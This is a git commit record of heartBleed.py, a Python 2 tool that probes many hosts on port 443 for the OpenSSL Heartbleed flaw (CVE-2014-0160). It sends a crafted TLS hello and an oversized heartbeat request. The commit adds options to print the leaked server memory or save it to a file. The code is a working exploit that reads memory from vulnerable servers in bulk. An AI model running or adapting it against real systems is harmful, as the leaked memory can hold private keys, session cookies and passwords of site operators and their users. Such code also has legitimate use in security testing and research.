<commit_before>#################################################################################
#     File Name           :     heartBleed.py
#     Created By          :     <NAME>(<EMAIL>)
#     Creation Date       :     [2014-04-14 12:57]
#     Last Modified       :     [2014-04-14 12:58]
#     Description         :     Test for SSL heartbleed vulnerability
#################################################################################
#!/usr/bin/env python


import sys, socket, ssl, time, select
from _ssl import PROTOCOL_TLSv1
import struct 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

#Thanks for https://github.com/musalbas/heartbleed-masstest
hello = h2bin('''
16 03 03 00 dc 01 00 00  d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
hbpkt = h2bin("01 4e 20") + "\x01"*20000
hb = h2bin("18 03 03 40 00") + hbpkt[0:16384] + h2bin("18 03 03 0e 23") + hbpkt[16384:]

class heartBleed:

    #The ssl socket object
    _connsock = None
    #The original socket
    _epoll = None
    _releaseEpoll = False
    _error = None
    _connumber = 0

    def __init__(self, domain, acode = None, epoll=None):
        self.domain = domain
        self.connected = False
        if epoll is not None:
            self._epoll = epoll
        else:
            self._epoll = select.epoll()
            self._releaseEpoll = True
        self.hb = acode if acode is not None else hb 
        
    def _initsock(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5) 
        try:
            #ssl_socket = ssl.wrap_socket(s, ssl_version=PROTOCOL_TLSv1)
            s.connect((self.domain, 443))
        except Exception,e:
            self._error = "Connect failed! " + str(e)
            s = None
        
        if s is not None:
            self._epoll.register(s.fileno(), select.EPOLLIN)
        return s
            
    def _colsesock(self):
        sock = self.connsocket
        if sock is not None:
            try:
                self._epoll.unregister(sock.fileno())
            except:
                pass
            #force close
            sock.close()
        if self._releaseEpoll:
            self._epoll.close()
     
    def _recvall(self, sock, l=None, timeout=5):
        sockfno = sock.fileno()
        _data = ""
        _end = False

        enterTime = time.time()
        while time.time()-enterTime < timeout:
            events = self._epoll.poll(1)
            for fileno, event in events:
                if fileno == sockfno and event and select.EPOLLIN:
                    if l is not None:
                        _data += sock.recv(l)
                        if len(_data) >= l:
                            _end = True
                    else:
                        res = sock.recv(1024)
                        if res is None or len(res) < 1024:
                            _end = True
                            break;
                        _data += res
                elif fileno == sockfno and event and select.EPOLLHUP:
                    epoll.unregister(fileno)
                    _end = True
            if _end:
                break;
        return _data

    def recvSSLMsg(self, timeout=5):
        sock = self.connsocket
        
        msg = self._recvall(sock, l=5, timeout=timeout)
        
        type, ver, ln = self._getSSLHeader(msg)
        if ln is None:
            return None,None,None,None

        pay = self._recvall(sock, l=ln, timeout=timeout)
        return type, ver, ln, pay
        
    def _getSSLHeader(self, msg):
        if len(msg) >= 5:
            header = msg[:5]
            return struct.unpack('>BHH', header)
        return None, None, None

    def _getSSLPay(self, msg):
        type, ver, ln = self._getSSLHeader(msg)
        if ln is not None:
            return msg[5:5+ln]
        return None

    @property
    def connsocket(self):
        if self._connsock is None:
            self._connsock = self._initsock()
        return self._connsock

    def _test(self, sock):
        sock.send(self.hb)
        type, ver, ln, pay = self.recvSSLMsg()

        is_vulnerable = False
        if type is None:
            self._error = "Failed: The package is incompletable!"
        elif type == 21:
            return False
        elif type == 24:
            self._error = " ".join("{:02x}".format(ord(c)) for c in pay)
            if len(pay) > 3:
                is_vulnerable = True
        else:
            self._error = "Failed: Can not receive the response."

        return is_vulnerable

    
    def _run(self):
        sock = self.connsocket
        if sock is None:
            return False

        sock.send(hello)
        while True:
            type, ver, ln, pay = self.recvSSLMsg()
            if type is None:
                self._error = "SSL connect failed!"
                return False
            self.hb = self.hb[:2] + chr(ver&0xff) + self.hb[3:]
            if type == 22 and ord(pay[0]) == 0x0E:
                break
       
        is_vulnerable = self._test(sock)              
        self._colsesock()
        return is_vulnerable

    def run(self):
        #run 
        res = self._run()
        if res:
            print "Danger! The domain " + self.domain + " is vulnerable!"
        #else:
        #    print "Congratulation! The domain " + self.domain + " is not vulnerable!"


if __name__ == "__main__":
    from optparse import OptionParser
    options = OptionParser(usage='%prog <network> [network2] [network3] ...', description='Test for SSL heartbleed vulnerability (CVE-2014-0160)')
    options.add_option('--threads', dest="threads", default=100, help="Thread number, defaut is 5.")
    opts, args = options.parse_args()

    if not args:
        options.print_help()
        sys.exit(-1)

    networks = args
    
    epoll = select.epoll()
    def scan(host):
        test = heartBleed(host, epoll=epoll)
        res = test._run()
        if res:
            print "The domain " + test.domain + " is vulnerable!"
        elif test._error is not None:
            print "Scan domain[" +  test.domain + "] error: " + test._error
        else:
            print "The domain " + test.domain + " is NOT vulnerable!"

    tNum = int(opts.threads)
    if tNum > 1:
        from multiprocessing import Pool
        threadpool = Pool(processes=int(opts.threads))
        task = threadpool.map(scan, networks)
        threadpool.close()
        threadpool.join()
    else:
        for host in networks:
            scan(host)
    epoll.close()   <commit_msg>Add params for outputing response<commit_after>#################################################################################
#     File Name           :     heartBleed.py
#     Created By          :     <NAME>(<EMAIL>)
#     Creation Date       :     [2014-04-14 12:57]
#     Last Modified       :     [2014-04-14 21:57]
#     Description         :     Test for SSL heartbleed vulnerability
#################################################################################
#!/usr/bin/env python


import sys, socket, ssl, time, select
from _ssl import PROTOCOL_TLSv1
import struct 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

#Thanks for https://github.com/musalbas/heartbleed-masstest
hello = h2bin('''
16 03 03 00 dc 01 00 00  d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
hbpkt = h2bin("01 4e 20") + "\x01"*20000
hb = h2bin("18 03 03 40 00") + hbpkt[0:16384] + h2bin("18 03 03 0e 23") + hbpkt[16384:]

class heartBleed:

    #The ssl socket object
    _connsock = None
    #The original socket
    _epoll = None
    _releaseEpoll = False
    _error = None
    _connumber = 0

    def __init__(self, domain, acode = None, epoll=None):
        self.domain = domain
        self.connected = False
        if epoll is not None:
            self._epoll = epoll
        else:
            self._epoll = select.epoll()
            self._releaseEpoll = True
        self.hb = acode if acode is not None else hb 
        
    def _initsock(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5) 
        try:
            #ssl_socket = ssl.wrap_socket(s, ssl_version=PROTOCOL_TLSv1)
            s.connect((self.domain, 443))
        except Exception,e:
            self._error = "Connect failed! " + str(e)
            s = None
        
        if s is not None:
            self._epoll.register(s.fileno(), select.EPOLLIN)
        return s
            
    def _colsesock(self):
        sock = self.connsocket
        if sock is not None:
            try:
                self._epoll.unregister(sock.fileno())
            except:
                pass
            #force close
            sock.close()
        if self._releaseEpoll:
            self._epoll.close()
     
    def _recvall(self, sock, l=None, timeout=5):
        sockfno = sock.fileno()
        _data = ""
        _end = False

        enterTime = time.time()
        while time.time()-enterTime < timeout:
            events = self._epoll.poll(1)
            for fileno, event in events:
                if fileno == sockfno and event and select.EPOLLIN:
                    if l is not None:
                        _data += sock.recv(l)
                        if len(_data) >= l:
                            _end = True
                    else:
                        res = sock.recv(1024)
                        if res is None or len(res) < 1024:
                            _end = True
                        _data += res
                elif fileno == sockfno and event and select.EPOLLHUP:
                    epoll.unregister(fileno)
                    _end = True
            if _end:
                break;
        return _data

    def recvSSLMsg(self, timeout=5):
        sock = self.connsocket
        
        msg = self._recvall(sock, l=5, timeout=timeout)
        
        type, ver, ln = self._getSSLHeader(msg)
        if ln is None:
            return None,None,None,None

        pay = self._recvall(sock, l=ln, timeout=timeout)
        return type, ver, ln, pay

    def unpackHeartBeat(self, pay):
        if len(pay) >= 3:
            header = pay[:3]
            h, l = struct.unpack('>BH', header)
            return h, l, pay[3:]
        return None, None, None
        
    def _getSSLHeader(self, msg):
        if len(msg) >= 5:
            header = msg[:5]
            return struct.unpack('>BHH', header)
        return None, None, None

    def _getSSLPay(self, msg):
        type, ver, ln = self._getSSLHeader(msg)
        if ln is not None:
            return msg[5:5+ln]
        return None

    @property
    def connsocket(self):
        if self._connsock is None:
            self._connsock = self._initsock()
        return self._connsock

    def _test(self, sock):
        sock.send(self.hb)
        type, ver, ln, pay = self.recvSSLMsg()

        is_vulnerable = False
        if type is None:
            self._error = "Failed: The package is incompletable!"
        elif type == 21:
            return False
        elif type == 24:
            #self._error = " ".join("{:02x}".format(ord(c)) for c in pay)
            self._error = pay
            return True
            #if len(pay) > 3:
            #    is_vulnerable = True
        else:
            self._error = "Failed: Can not receive the response."

        return is_vulnerable

    
    def _run(self):
        sock = self.connsocket
        if sock is None:
            return False

        sock.send(hello)
        while True:
            type, ver, ln, pay = self.recvSSLMsg()
            if type is None:
                self._error = "SSL connect failed!"
                return False
            self.hb = self.hb[:2] + chr(ver&0xff) + self.hb[3:]
            if type == 22 and ord(pay[0]) == 0x0E:
                break
       
        is_vulnerable = self._test(sock)              
        self._colsesock()
        return is_vulnerable

    def run(self):
        #run 
        res = self._run()
        if res:
            print "Danger! The domain " + self.domain + " is vulnerable!"
        #else:
        #    print "Congratulation! The domain " + self.domain + " is not vulnerable!"


if __name__ == "__main__":
    from optparse import OptionParser
    import os.path
    options = OptionParser(usage='%prog <network> [network2] [network3] ...', description='Test for SSL heartbleed vulnerability (CVE-2014-0160)')
    options.add_option('-o', dest="outpay", action="store_true", help="Output the data when the server is vulnerable.")
    options.add_option('-f', dest="outtofile", help="Output the data to a file when the server is vulnerable.")
    options.add_option('--threads', dest="threads", default=100, help="Thread number, defaut is 5.")
    opts, args = options.parse_args()

    if not args:
        options.print_help()
        sys.exit(-1)

    networks = args
    
    epoll = select.epoll()
    def scan(host):
        test = heartBleed(host, epoll=epoll)
        res = test._run()
        if res:
            print "The domain " + test.domain + " is vulnerable!"
            if opts.outpay:
                h, l, p = test.unpackHeartBeat(test._error)
                print " ".join("{:02x}".format(ord(c)) for c in p)
            if opts.outtofile is not None and \
               len(opts.outtofile)>0:
                if os.path.exists(os.path.dirname(opts.outtofile)):
                    with open(opts.outtofile) as fd:
                        fd.write(test._error)
                else:
                    print "Output file error!"

        elif test._error is not None:
            print "Scan domain[" +  test.domain + "] error: " + test._error
        else:
            print "The domain " + test.domain + " is NOT vulnerable!"

    tNum = int(opts.threads)
    if tNum > 1:
        from multiprocessing import Pool
        threadpool = Pool(processes=int(opts.threads))
        task = threadpool.map(scan, networks)
        threadpool.close()
        threadpool.join()
    else:
        for host in networks:
            scan(host)
    epoll.close()   
{'fraction_non_alphanumeric': 0.11395771176546893, 'fraction_numerical': 0.0658970035023998, 'mean_word_length': 1.6420493488690884, 'pattern_counts': {'":': 2, '<': 13, '<?xml version=': 0, '>': 22, 'https://': 2, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 2, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '860308', 'n_tokens_mistral': 5648, 'n_tokens_neox': 4690, 'n_words': 1564}